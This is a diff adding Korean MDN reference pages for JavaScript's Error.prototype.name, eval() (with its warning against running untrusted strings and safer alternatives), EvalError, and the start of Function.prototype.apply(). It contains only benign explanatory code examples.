+ CustomError.__proto__ = Error;
+}
+
+
+try {
+ throw new CustomError('baz', 'bazMessage');
+} catch(e){
+ console.log(e.foo); //baz
+ console.log(e.message) ;//bazMessage
+}
+</pre>
+
+<h2 id="See_also" name="See_also">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11', 'Error')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-error-objects', 'Error')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Error")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/error/name/index.html b/files/ko/web/javascript/reference/global_objects/error/name/index.html
new file mode 100644
index 0000000000..bca8a4937f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/error/name/index.html
@@ -0,0 +1,72 @@
+---
+title: Error.prototype.name
+slug: Web/JavaScript/Reference/Global_Objects/Error/name
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/name
+---
+<div>{{JSRef}}</div>
+
+<div><strong><code>name</code> </strong>프로퍼티는 에러 타입을 설명하기 위한 이름을 나타냅니다. 초기값은 "Error"입니다.</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Error")}} 인스턴스는 주어진 이름인 "Error"를 기본 값으로 갖습니다. name 프로퍼티는 {{jsxref("Error.prototype.message", "message")}}와 함께 {{jsxref("Error.prototype.toString()")}}에서 사용되며 해당 에러를 문자열로 표현합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="사용자_정의_에러_발생시키기">사용자 정의 에러 발생시키기</h3>
+
+<pre class="brush: js">var e = new Error('Malformed input'); // e.name은 'Error'
+
+e.name = 'ParseError';
+throw e;
+// e.toString()은 'ParseError: Malformed input'을 반환합니다
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+<div class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터로부터 생성됩니다. 해당 데이터를 개선하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 체크아웃하고 저희에게 풀 리퀘스트를 보내주십시오.</div>
+
+<p>{{Compat("javascript.builtins.Error.name")}}</p>
+</div>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/eval/index.html b/files/ko/web/javascript/reference/global_objects/eval/index.html
new file mode 100644
index 0000000000..000c8b2228
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/eval/index.html
@@ -0,0 +1,285 @@
+---
+title: eval()
+slug: Web/JavaScript/Reference/Global_Objects/eval
+tags:
+ - JavaScript
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/eval
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>주의:</strong> 문자열로부터 <code><strong>eval()</strong></code>을 실행하는 것은 엄청나게 위험합니다. <code><strong>eval()</strong></code>을 사용하면 해커가 위험한 코드를 사용할 수 있습니다. 아래에 <a href="#eval을 절대 사용하지 말 것!">eval을 절대 사용하지 말 것!</a>을 확인하세요.</p>
+</div>
+
+<p><code><strong>eval()</strong></code>은 문자로 표현된 JavaScript 코드를 실행하는 함수입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><code>eval(<em>string</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>자바스크립트 표현식, 명령문, 또는 연속되는 다수의 명령문을 나타내는 문자열. 표현식은 이미 존재하는 객체의 변수나 속성을 포함할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 코드를 평가하여 얻은 값. 값이 없다면 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>eval()</code>은 전역 객체의 함수 속성입니다.</p>
+
+<p><code>eval()</code>의 인자는 문자열입니다. 인자가 표현식을 나타낸다면 <code>eval()</code>은 표현식을 평가합니다. 인자가 하나 이상의 JavaScript 명령문을 나타낸다면 모두 실행합니다. 연산식을 계산하기 위해 <code>eval()</code>을 호출하지 마세요. 자바스크립트는 연산식을 알아서 계산합니다.</p>
+
+<p>문자열로 연산식을 구성하면 나중에 <code>eval()</code>로 계산할 수 있습니다. <code>x</code> 라는 변수가 있다고 가정하면 <code>x</code>가 포함된 연산식을 문자열로, 예를 들어 "<code>3 * x + 2</code>"로 나타내고 나중에 <code>eval()</code>을 호출해서 계산을 연기할 수 있습니다.</p>
+
+<p><code>eval()</code>의 인자가 문자열이 아니면 <code>eval()</code>은 인자를 그대로 반환합니다. 다음 예시에서, <code>String</code> 생성자가 명시된 경우 문자열을 계산하는 대신 <code>String</code> 객체를 반환합니다.</p>
+
+<pre class="brush:js notranslate">eval(new String("2 + 2")); // "2 + 2"를 포함한 String 객체를 반환
+eval("2 + 2"); // 4를 반환
+</pre>
+
+<p><code>toString()</code>을 사용하는 일반적인 방식으로 제약을 피할 수 있습니다.</p>
+
+<pre class="brush:js notranslate">var expression = new String("2 + 2");
+eval(expression.toString());            // 4를 반환
+</pre>
+
+<p><code>eval</code>을 직접 호출하지 않고 참조를 통해 <em>간접적으로</em> 사용한다면 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-10.4.2">ECMAScript 5부터는</a> 지역 범위가 아니라 전역 범위에서 동작합니다. 예를 들어 <code>eval()</code>로 함수를 선언하면 전역 함수가 되고, 실행되는 코드는 실행되는 위치의 지역 범위에 접근할 수 없습니다.</p>
+
+<pre class="notranslate"><code>function test() {
+ var x = 2, y = 4;
+ console.log(eval('x + y')); // 직접 호출, 지역 범위 사용, 결과값은 6
+ var geval = eval; // eval을 전역 범위로 호출하는 것과 같음
+ console.log(geval('x + y')); // 간접 호출, 전역 범위 사용, `x`가 정의되지 않았으므로 ReferenceError 발생
+ (0, eval)('x + y'); // 다른 방식으로 간접 호출
+}</code></pre>
+
+<h2 id="eval을_절대_사용하지_말_것!"><a name="dont-use-it"><code>eval</code>을 절대 사용하지 말 것!</a></h2>
+
+<p><code>eval()</code>은 인자로 받은 코드를 caller의 권한으로 수행하는 위험한 함수입니다. 악의적인 영향을 받았을 수 있는 문자열을 <code>eval()</code>로 실행한다면, 당신의 웹페이지나 확장 프로그램의 권한으로 사용자의 기기에서 악의적인 코드를 수행하는 결과를 초래할 수 있습니다. 또한, 제3자 코드가 <code>eval()</code>이 호출된 위치의 스코프를 볼 수 있으며, 이를 이용해 비슷한 함수인 {{jsxref("Global_Objects/Function", "Function")}}으로는 실현할 수 없는 공격이 가능합니다.</p>
+
+<p>또한 최신 JS 엔진에서 여러 코드 구조를 최적화하는 것과 달리 <code>eval()</code>은 JS 인터프리터를 사용해야 하기 때문에 다른 대안들보다 느립니다.</p>
+
+<p>추가로, 최신 JavaScript 인터프리터는 자바스크립트를 기계 코드로 변환합니다. 즉, 변수명의 개념이 완전히 없어집니다. 그러나 <code>eval</code>을 사용하면 브라우저는 기계 코드에 해당 변수가 있는지 확인하고 값을 대입하기 위해 길고 무거운 변수명 검색을 수행해야 합니다. 또한 <code>eval()</code>을 통해 자료형 변경 등 변수에 변화가 일어날 수 있으며, 브라우저는 이에 대응하기 위해 기계 코드를 재작성해야 합니다. 그러나, (다행히) <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function">window.Function</a>이라는 <code> eval</code>보다 훨씬 나은 대안이 있습니다. <code>eval()</code>을 사용하는 코드를 <code>Function()</code>으로 바꾸는 방법에 대해서는 아래를 참조하세요.</p>
+
+<p><code>eval</code>을 사용하는 나쁜 코드:</p>
+
+<pre class="brush:js notranslate">function looseJsonParse(obj){
+ return eval(obj);
+}
+console.log(looseJsonParse(
+ "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p><code>eval</code>이 없는 코드:</p>
+
+<pre class="brush:js notranslate">function looseJsonParse(obj){
+ return Function('"use strict";return (' + obj + ')')();
+}
+console.log(looseJsonParse(
+ "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p>위의 두 코드는 얼핏 보면 같은 방식으로 실행되는 것처럼 보이지만, <code>eval</code>이 있는 코드가 훨씬 느립니다. 평가되는 객체의 <code>c: new Date()</code>를 주목하세요. <code>eval</code>이 없는 함수의 경우 이 객체는 전역 범위에서 평가되기 때문에 브라우저에서는 <code>Date</code>를 같은 이름의 지역 변수가 아니라 <code>window.Date</code>로 취급할 수 있습니다. 그러나 <code>eval()</code>을 사용하는 코드에서는 아래와 같은 경우도 존재할 수 있기 때문에 <code>Date</code>를 이렇게 취급할 수 없습니다.</p>
+
+<pre class="brush:js notranslate">function Date(n){
+ return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function looseJsonParse(obj){
+ return eval(obj);
+}
+console.log(looseJsonParse(
+ "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p>그러므로 <code>eval()</code>이 있는 코드의 경우 브라우저는 <code>Date()</code>라는 지역 변수의 존재를 확인하기 위해 무거운 변수명 탐색을 수행해야 하며, 이는 <code>Function()</code>과 비교하면 매우 느립니다.</p>
+
+<p>만약 위의 상황에서 실제로 새로 선언한 <code>Date</code> 함수를 <code>Function()</code>에서 실행해야 하는 상황을 생각해 봅시다. 이렇게 되면 <code>eval()</code>로 돌아가야 할까요? 물론 아닙니다. 아래의 접근을 시도해 보세요.</p>
+
+<pre class="brush:js notranslate">function Date(n){
+ return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function runCodeWithDateFunction(obj){
+ return Function('"use strict";return (' + obj + ')')()(
+ Date
+ );
+}
+console.log(runCodeWithDateFunction(
+ "function(Date){ return Date(5) }"
+))
+</pre>
+
+<p>위 코드는 삼중 중첩 함수를 사용하기 때문에 매우 비효율적으로 보일 수 있지만, 이 방법의 이점을 우선 살펴봅시다.</p>
+
+<p>1. <code>runCodeWithDateFunction</code>에 문자열로 전달된 코드를 최소화<sup>minify</sup>할 수 있다.</p>
+
+<p>2. Function call overhead is minimal, making the far smaller code size well worth the benefit</p>
+
+<p>3. <code>Function()</code>은 <code>"use strict";</code>를 사용함으로써 코드의 성능을 최적화할 수 있다.</p>
+
+<p>4. <code>eval()</code>을 사용하지 않으므로 실행 속도가 훨씬 빠르다.</p>
+
+<p>마지막으로 코드 최소화의 측면에서 살펴보면, 위와 같이 <code>Function()</code>을 사용했을 때는 아래의 최소화된 코드와 같이 함수의 인자 이름 역시 짧게 줄일 수 있으므로 runCodeWithDateFunction에 전달하는 코드 문자열을 더욱 효율적으로 줄일 수 있습니다.</p>
+
+<pre class="brush:js notranslate">console.log(Function('"use strict";return(function(a){return a(5)})')()(function(a){
+return"Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" ")[a%7||0]}));</pre>
+
+<p>자주 쓰이는 용례에 대해서는 <code>eval()</code>이나 <code>Function()</code>보다 안전하고 빠른 대안도 존재합니다.</p>
+
+<h3 id="객체의_속성에_접근하기">객체의 속성에 접근하기</h3>
+
+<p>속성명으로 속성을 찾는 데 <code>eval()</code>을 사용해서는 안 됩니다. 다음 예제와 같이 코드를 실행하기 전까지는 접근할 속성을 알 수 없는 상황을 생각해 봅시다. 이 상황은 <code>eval</code>로 처리할 수 있습니다.</p>
+
+<pre class="brush:js notranslate">var obj = { a: 20, b: 30 };
+var propname = getPropName(); // "a" 또는 "b"를 반환
+
+eval( "var result = obj." + propname );
+</pre>
+
+<p>그러나 여기에서 <code>eval()</code>을 쓸 필요가 없고, 지양되어야 합니다. 그 대신 훨씬 빠르고 안전한 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">속성 접근자</a>를 사용하여야 합니다.</p>
+
+<pre class="brush:js notranslate">var obj = { a: 20, b: 30 };
+var propname = getPropName(); // "a" 또는 "b"를 반환
+var result = obj[ propname ]; // obj[ "a" ]는 obj.a와 동일함
+</pre>
+
+<p>이 방법으로 더 깊은 속성에도 접근할 수 있습니다. <code>eval()</code>을 사용한다면 다음과 같을 것입니다.</p>
+
+<pre class="notranslate"><code>var obj = {a: {b: {c: 0}}};
+var propPath = getPropPath(); // "a.b.c"를 반환한다고 가정
+
+eval( 'var result = obj.' + propPath );</code></pre>
+
+<p>여기서 <code>eval()</code>의 사용을 피하려면 속성 경로를 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/String/split">split</a></code>한 다음 순서대로 접근할 수도 있습니다.</p>
+
+<pre class="notranslate"><code>function getDescendantProp(obj, desc) {
+ var arr = desc.split('.');
+ while (arr.length) {
+ obj = obj[arr.shift()];
+ }
+ return obj;
+}
+
+var obj = {a: {b: {c: 0}}};
+var propPath = getPropPath(); // "a.b.c"를 반환한다고 가정
+var result = getDescendantProp(obj, propPath);</code></pre>
+
+<p>속성에 값을 대입하는 것도 비슷하게 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>function setDescendantProp(obj, desc, value) {
+ var arr = desc.split('.');
+ while (arr.length &gt; 1) {
+ obj = obj[arr.shift()];
+ }
+ return obj[arr[0]] = value;
+}
+
+var obj = {a: {b: {c: 0}}};
+var propPath = getPropPath(); // "a.b.c"를 반환한다고 가정
+var result = setDescendantProp(obj, propPath, 1); // test.a.b.c의 값은 1로 지정됨</code>
+</pre>
+
+<h3 id="단편적인_코드_수행_대신_함수_사용하기">단편적인 코드 수행 대신 함수 사용하기</h3>
+
+<p>JavaScript의 <a href="http://en.wikipedia.org/wiki/First-class_function">함수는 1급 객체</a>이므로 다른 API에 함수를 인자로 전달할 수도 있고, 변수나 객체의 속성으로 대입할 수도 있습니다. 다수의 DOM API는 이 점을 염두에 두고 설계되므로, 다음과 같이 코드를 짜야 합니다.</p>
+
+<pre class="brush: js notranslate">// setTimeout(" ... ", 1000) 대신에
+setTimeout(function() { ... }, 1000);
+
+// elt.setAttribute("onclick", "...") 대신에
+elt.addEventListener("click", function() { ... } , false); </pre>
+
+<p>또한 <a href="/en-US/docs/Web/JavaScript/Closures" title="JavaScript/Guide/Closures">클로저</a>를 이용해 문자열을 합치는 등의 연산 없이 매개변수화된 함수를 생성할 수 있습니다.</p>
+
+<h3 id="JSON_파싱_문자열을_JavaScript_객체로_변환">JSON 파싱 (문자열을 JavaScript 객체로 변환)</h3>
+
+<p><code>eval()</code>을 호출하려는 문자열에 코드가 아니라 데이터가 포함되어 있다면(예를 들어 <code>"[1, 2, 3]"</code>과 같은 배열), 대신 JavaScript의 문법 일부를 이용해 문자열로 데이터를 표현할 수 있는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/JSON" title="JSON">JSON</a>을 사용하는 것을 고려해 보세요. <a href="/en-US/docs/Downloading_JSON_and_JavaScript_in_extensions" title="Downloading_JSON_and_JavaScript_in_extensions">Downloading JSON and JavaScript in extensions</a>도 참고해 보세요.</p>
+
+<p>JSON 문법은 JavaScript 문법에 비해 제약이 있기 때문에, 유효한 JavaScript 리터럴이 JSON으로 변환되지 않는 경우도 있습니다. 예를 들어, JSON에서는 배열이나 객체를 콤마로 끝낼 수 없고, 객체 리터럴에서 속성명(키)은 반드시  따옴표로 감싸야 합니다. 나중에 JSON으로 파싱할 문자열을 생성할 때는 JSON 직렬 변환기<sup>JSON serializer</sup>를 사용하여야 합니다.</p>
+
+<h3 id="코드_대신_데이터_전달하기">코드 대신 데이터 전달하기</h3>
+
+<p>예를 들어, 웹 페이지의 내용을 추출하는 확장 프로그램은 JavaScript 코드 대신 <a href="/ko/docs/XPath" title="XPath">XPath</a>에 스크랩 규칙을 정의할 수 있습니다.</p>
+
+<h3 id="제한된_권한으로_코드_실행하기">제한된 권한으로 코드 실행하기</h3>
+
+<p>제3자 코드를 실행해야 할 때는 제한된 권한으로 실행하는 것을 고려해야 합니다. 이는 주로 확장 프로그램이나 XUL 어플리케이션에 적용되며, 이때 <a href="/en-US/docs/Components.utils.evalInSandbox" title="Components.utils.evalInSandbox">Components.utils.evalInSandbox</a>를 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="eval_사용하기"><code>eval</code> 사용하기</h3>
+
+<p>아래 코드에서 <code>eval()</code>를 포함하는 문장은 모두 42를 반환합니다. 전자는 문자열 "<code>x + y + 1</code>"을, 후자는 문자열 "<code>42</code>"를 평가합니다.</p>
+
+<pre class="brush:js notranslate">var x = 2;
+var y = 39;
+var z = "42";
+eval("x + y + 1"); // 42를 반환
+eval(z); // 42를 반환
+</pre>
+
+<h3 id="eval을_사용해서_JavaScript_코드_문자열_평가하기"><code>eval</code>을 사용해서 JavaScript 코드 문자열 평가하기</h3>
+
+<p>다음 예제에서는 <code>eval()</code>을 사용하여 <code>str</code> 문자열을 평가합니다. 이 문자열은 <code>x</code>가 5이면 로그를 출력한 다음 <code>z</code>에 42를 할당하고, 그렇지 않으면 <code>z</code>에 0 을 할당하는 JavaScript 코드입니다. 두 번째 문장이 실행되면, <code>eval()</code>은 이 문장의 집합을 수행하고, <code>z</code>에 할당된 값을 반환합니다.</p>
+
+<pre class="brush:js notranslate">var x = 5;
+var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";
+
+console.log("z is ", eval(str));</pre>
+
+<p>여러 값을 정의할 경우 마지막 값을 반환합니다.</p>
+
+<pre class="notranslate"><code>var x = 5;
+var str = "if (x == 5) {console.log('z is 42'); z = 42; x = 420; } else z = 0;";
+
+console.log('x is ', eval(str)); // z는 42, x는 420</code></pre>
+
+<h3 id="마지막_표현식이_수행된다">마지막 표현식이 수행된다</h3>
+
+<p><code>eval()</code> 은 마지막 표현식의 평가값을 반환합니다.</p>
+
+<pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }";
+var a = true;
+var b = eval(str); // 2를 반환
+
+console.log("b is : " + b);
+
+a = false;
+b = eval(str); // 3을 반환
+
+console.log("b is : " + b);</pre>
+
+<h3 id="함수_정의_문자열로서의_eval_은_앞뒤를_와_로_감싸야_한다">함수 정의 문자열로서의 <code>eval</code> 은 앞뒤를 "("와 ")"로 감싸야 한다</h3>
+
+<pre class="brush:js notranslate">var fctStr1 = "function a() {}"
+var fctStr2 = "(function a() {})"
+var fct1 = eval(fctStr1) // undefined를 반환
+var fct2 = eval(fctStr2) // 함수를 반환
+</pre>
+
+<h2 id="sect1"></h2>
+
+<h2 id="브라우저_호환성"><span style="">브라우저 호환성</span></h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.eval")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#Using_eval()_in_content_scripts">WebExtensions: Using eval in content scripts</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/evalerror/index.html b/files/ko/web/javascript/reference/global_objects/evalerror/index.html
new file mode 100644
index 0000000000..4c8fcf38dd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/evalerror/index.html
@@ -0,0 +1,112 @@
+---
+title: EvalError
+slug: Web/JavaScript/Reference/Global_Objects/EvalError
+tags:
+ - Error
+ - EvalError
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>EvalError</code></strong> 객체는 전역 {{jsxref("Global_Objects/eval", "eval()")}} 함수에 관한 오류를 나타냅니다. 이 예외는 JavaScript에 의해 더 이상 발생하지 않지만 <code>EvalError</code> 객체는 하위 호환성을 위해 남아있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new EvalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>인간이 읽을 수 있는 오류 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드를 포함하는 파일의 이름.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>예외를 발생시킨 코드의 행 번호.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("EvalError.prototype")}}</dt>
+ <dd>EvalError 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역 EvalError에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속받습니다.</p>
+
+<h2 id="EvalError_인스턴스"><code>EvalError</code> 인스턴스</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods">Methods</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<p><code>EvalError</code>는 현재 ECMAScript 사양에서 사용되지 않으므로 런타임에 의해 throw되지 않습니다. 그러나 개체 자체는 이전 버전의 사양과의 하위 호환성을 유지합니다.</p>
+
+<h3 id="Creating_an_EvalError">Creating an <code>EvalError</code></h3>
+
+<pre class="brush: js">try {
+ throw new EvalError('Hello', 'someFile.js', 10);
+} catch (e) {
+ console.log(e instanceof EvalError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "EvalError"
+ console.log(e.fileName); // "someFile.js"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Not used in this specification. Present for backward compatibility.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Not used in this specification. Present for backward compatibility.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.EvalError")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError.prototype")}}</li>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/apply/index.html b/files/ko/web/javascript/reference/global_objects/function/apply/index.html
new file mode 100644
index 0000000000..1e59ed07f7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/apply/index.html
@@ -0,0 +1,236 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Function/apply
+tags:
+ - Function
+ - JavaScript
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>apply()</code></strong> 메서드는 주어진 <code>this</code> 값과 배열 (또는 <a href="/en-US/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Working_with_Array-like_objects">유사 배열 객체</a>) 로 제공되는 <code>arguments</code> 로 함수를 호출합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 함수의 구문은 거의 {{jsxref("Function.call", "call()")}} 구문과 유사합니다. 근본적인 차이점은  <code>call()</code> 은 함수에 전달될 <strong>인수 리스트</strong>를 받는데 비해, <code>apply()</code> 는 <strong>인수들의 단일 배열</strong>을 받는다는 점입니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/function-apply.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>func</var>.apply(<var>thisArg, </var>[<var>argsArray</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>옵션. <code>func</code> 를 호출하는데 제공될 <code>this</code> 의 값. <code>this</code> 는 메소드에 의해 실제로 보여지는 값이 아닐 수 있음을 유의합니다. 메소드가 {{jsxref("Strict_mode", "non-strict mode", "", 1)}} 코드의 함수일 경우, {{jsxref("null")}} 과 {{jsxref("undefined")}} 가 전역 객체로 대체되며, 기본 값은 제한됩니다.</dd>
+ <dt><code>argsArray</code></dt>
+ <dd>옵션. <em><code>func</code></em> 이 호출되어야 하는 인수를 지정하는 유사 배열 객체, 함수에 제공된 인수가 없을 경우 {{jsxref("null")}} 또는 {{jsxref("undefined")}}. ECMAScript 5 의 시작으로 이러한 인수들은 배열 대신 제네릭 유사 배열 객체로 사용될 수 있습니다. 아래의 {{anch("Browser_compatibility", "브라우저 호환성")}} 정보를 보세요.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>지정한 <strong><code>this</code></strong> 값과 인수들로 호출한 함수의 결과.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>이미 존재하는 함수를 호출할 때 다른 <code>this</code> 객체를 할당할 수 있습니다. <code>this</code> 는 현재 객체, 호출하는 객체를 참조합니다. <code>apply</code> 를 사용해, 새로운 객체마다 메소드를 재작성할 필요없이 한 번만 작성해 다른 객체에 상속시킬 수 있습니다.</p>
+
+<p><code>apply</code> 는 지원되는 인수의 타입만 제외하면 {{jsxref("Function.call", "call()")}} 과 매우 유사합니다. 인수(파라미터)의 리스트 대신 인수들의 배열을 사용할 수 있습니다. 또한 <code>apply</code> 를 사용해, 배열 리터럴이나 (예, <em>func</em>.apply(this, ['eat', 'bananas']), {{jsxref("Array")}} 객체 (예, <em>func</em>.apply(this, new Array('eat', 'bananas'))) 를 사용할 수 있습니다.</p>
+
+
+
+<p><code>argsArray</code> 파라미터를 위한 {{jsxref("Functions/arguments", "arguments")}} 를 사용할 수도 있습니다. <code>arguments</code> 는 함수의 지역 변수입니다. 이는 호출된 객체의 지정되지 않은 모든 인수에 대해 사용할 수 있습니다. 따라서, <code>apply</code> 메소드를 사용할 때 호출된 객체의 인수를 알 필요가 없습니다. <code>arguments</code> 를 사용해 모든 인수들을 호출된 객체로 전달할 수 있습니다. 그럼 호출된 객체는 그 인수들을 처리할 수 있게 됩니다.</p>
+
+
+
